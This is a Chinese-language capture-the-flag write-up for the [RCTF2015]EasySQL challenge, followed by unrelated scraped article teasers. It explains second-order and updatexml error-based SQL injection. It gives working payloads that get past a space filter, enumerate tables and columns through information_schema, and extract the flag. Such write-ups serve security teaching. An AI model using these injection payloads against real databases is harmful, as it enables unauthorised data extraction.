[RCTF2015]EasySQL 报错注入与二次注入

二次注入,可以概括为以下两步:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

updatexml(fileName, XPATH, ChangedStr)

更新某个xml文件中的特定信息。

第一个参数是希望更新的xml文件的名称;

第二个参数XPATH是一种在xml文件中指定元素或信息的语句,即xml文件中的定位器,有点类似指针;

第三个参数是希望更改成的信息,如将原来的信息改成3,这个3就是这个ChangedStr。

报错注入

通过让数据库报错会拿出相关信息的性质,想办法让数据库报错,然后达到命令执行的目的

updatexml(1,concat(0x3a,(你希望执行的语句)),1))#

concat函数是说连接字符串,这里将0x3a连在了XPATH位置的参数的最前面,会不符合XPATH的规范,遂报错,说“0x3a(你希望执行的语句)”不符合规定,这也就爆出了你想要得到的信息。

二次注入

在某个输入位置,将不安全的字符串成功按原样插入到了数据库中,后认为数据库中的数据都是安全的,然后在另一处随意的引用了该不安全的语句,造成了注入,即“二次注入”

[RCTF2015]EasySQL

tips: 密码和邮箱大部分时候都可以留空

一次注入点在注册的位置,将不安全语句存入到用户名位置,随后在更改密码处,会调用用户名来确认改密码的位置,以造成二次注入。



这里我先注册一个带引号的用户,展示一下效果。



可以看到,这个网站将完整的带引号的名字都存进了数据库,且并没有进行过滤等操作。



直接点提交,可以发现数据库报错了,还发现数据库将密码哈希了以后存储的,不过这和本题无关。

这个位置还是过滤了一些参数的



这里包长为496的都是过滤掉的

开始注入,构造语句

空格过滤掉了,使用括号来完成。

haha"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

这里使用payload为用户名注册,可以看到这么长的用户名也能注册成功,挺离谱的。



事实告诉我们,限制用户名长度还是挺有用的哈哈。

进入修改密码处



成功爆出表名。

经过实验,最终的结果在users表中,查看users表列

haha"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'&&(column_name)regexp('^r')))),1))#



这里语句有一些不一样,where后面多了一个限定词

(column_name)regexp('^r')

这句的意思是,只要column_name列中符合后面正则表达式的内容的部分(regexp函数是正则表达式函数)。

正则表达式的内容 ^r 的意思是,只匹配开头是r的字符串,比如这里有三个串

asdff
asd ff
fasd

正则表达式只会匹配第三个串,因为只有它是f字母开头的,第二个串虽然带有空格后的ff,但空格本身是包含在字符串内的,故后面的ff仍算在一整个字符串内,不是开头,故不被匹配。

回到题目,这里我们不加正则表达式限定,会看到几个表,其中有一个表叫real_flag啥的,因为长度限制,后面没有爆出来,只爆出了一部分,故我们需要限定,只看这个real啥的列的列名

查看flag

haha"||(updatexml(1,(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

同理,他在这个表里面塞了一堆xxx字符串,看表的时候没办法看到flag相关的内容,故我们用正则,匹配f开头的字符串。

然后flag出来又不会出全,还需要使用reverse函数,逆序输出flag

haha"||(updatexml(1,reverse(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

随后会出现倒着的flag,然后拼起来即得答案。

这个地方我想把reverse写在select的前面,但不知道为什么没办法执行,有知道的大佬求教下。ψ(`∇´)ψ

想写成这样

haha"||(updatexml(1,(concat(0x3a,reverse(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

[RCTF2015]EasySQL 报错注入与二次注入的更多相关文章

  1. 报错盲注之exp注入(double数值类型溢出原理详解)

    首先感谢原文博主,在此致敬.本文转自:http://www.cnblogs.com/lcamry/articles/5509124.html Exp()为以 e 为底的对数函数:MySQL版本在 5. ...

  2. Android8 以上使用 UIautomator Viewer提示Unexpected error while obtaining UI hierarchy报错(方法二)

    一:最常见的一个问题就是:Android8及以上的系统无法获取到页面,提示报下面的错误 二:解决办法 1.下载新的tools,在下面链接里找到SDK tools下载 http://www.androi ...

  3. freemarker报错之十二

    1.错误描述 六月 04, 2014 10:31:47 下午 freemarker.log.JDK14LoggerFactory$JDK14Logger error 严重: Template proc ...

  4. freemarker写select组件报错总结(二)

    1.错误描述 六月 25, 2014 11:32:49 下午 freemarker.log.JDK14LoggerFactory$JDK14Logger error 严重: Template proc ...

  5. Mysql报错注入之floor报错详解

    一.简述 利用 select count(*),(floor(rand(0)*2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor ...

  6. Mysql报错型注入总结

    Mysql注入虽然是老生常谈的问题,但是工作中更多的是使用sqlmap等工具进行注入测试的,原理方面还是不是很清楚,所以这段时间主要是自己搭建环境在学手工注入,简单的将自己的学习做一个总结和记录.在常 ...

  7. VueX中直接修改数据报错,修改一维数组,二维数组,报错的原因

    直接修改state中的的数据是不被允许的,会报错 这个时候可以使用三种种方式处理 第一种:使用拓展运算符,深拷贝一维数组或对象var arrA = [1,2,3,4]var a = [...arr]| ...

  8. 项目启动报错怎么办?看看你Spring自动注入用对了嘛?@Autowired XxxService注入问题解决

    问题 在Controller层使用 @Autowired注入Service时,提示Bean中没有Service 在Service接口中使用 @Component注入后,启动项目问题提示: The we ...

  9. sql server 2008 创建新数据库报错、创建表报错、更改表的设计报错

    一:创建数据库报错如下: 二:解决,将软件以管理员身份运行 三:创建表报错如下图: 四:解决办法,在你创建的数据库下面的安全里,找到你创建的用户,属性,添加权限,红色标注,然后确定: 五:更改表的设计 ...

  10. C++ 报错 R6030 CRT not initialized

    昨天,在写一个算法的时候,报错R6030 CRT not initialized. 认真检查发现,是出了比较低级的错误. 一. 会出错的代码,编译的时候不会报错,执行过程中报R6030 CRT not ...

随机推荐

  1. 仓储层当前有接口 IRepository<T> 抽象类 BaseRepository<T> 业务逻辑层有抽象类 BaseBusiness<M, E> 接口 IBusiness<M, E> 请用C# 给出一个案例,支持不同表对应不同的业务逻辑层,然后不同仓储实例。

    以下是一个简单的C#示例,展示了如何实现不同表对应不同的业务逻辑层和不同的仓储实例: // 仓储层 public interface IRepository<T> { void Add(T ...

  2. buuctf-web 解题过程

    [SUCTF 2019]Upload Labs 2 源码 // admin.php <?php include 'config.php'; class Ad{ public $cmd; publ ...

  3. 一次h5活动页面的踩坑 过程

    托好奇心的福,这几天又接了一个bug,哦不,一个非常锻炼个人能力的h5页面,期间涉及到很多问题,在此打算先占个坑,等日后有时间再慢慢记录,无论是swiper插件的使用,还是关于硬件加速的运用,又或者是 ...

  4. 解决 Mac(M1/M2)芯片,使用node 14版本

    前言 nvm 在安装 Node.js v14.21.3 时,报错: nvm install 14 Downloading and installing node v14.21.3... Downloa ...

  5. docker build 镜像时,无法访问网络

    前言 在使用 docker build 命令构建 Docker 镜像时遇到无法联网的情况,可能会有多种情况的发生. 检查主机网络设置 检查你的主机是否配置了代理服务器或防火墙,这可能会阻止 Docke ...

  6. Random和猜数字小游戏

    1.Random:使用方式和Scanner一样 Random用于生成随机数,括号里的10就是指在10以内随机生成一个数(0~9) Random生成的随机数都是从0开头 . 提问:那该如何让Random ...

  7. 【Ubuntu】在Ubuntu上安装IDEA

    [Ubuntu]在Ubuntu上安装IDEA 零.前言 最近换了Ubuntu系统,但是还得是要写代码,这样就不可避免地用到IDEA,接下来介绍一下如何在Ubuntu上安装IDEA. 壹.下载 这一步应 ...

  8. 【视频编辑】Pr视频编辑软件导出的视频声音有一段会变大怎么解决

    导出视频后为什么有段声音会突然变大? 也就是可能存在编辑器导出的时候有自动增益声音的行为. 具体描述: 工程文件里我没动过声音,工程文件里听也是很正常的,但是导出后有一小段音乐会突然变大(存在自动增益 ...

  9. 【EasyPR】Linux安装使用EasyPR开源车牌识别系统

    [EasyPR]Linux安装使用EasyPR开源车牌识别系统 零.安装OpenCV - 3.2.0 我使用的是Kali系统,基于Debian的一个Linux发行版本. 1.配置系统的软件源(配置正确 ...

  10. C#之json字符串转xml字符串

    留爪参考 using System.Xml; // using System.Text; // using System.Runtime.Serialization.Json; //JsonReade ...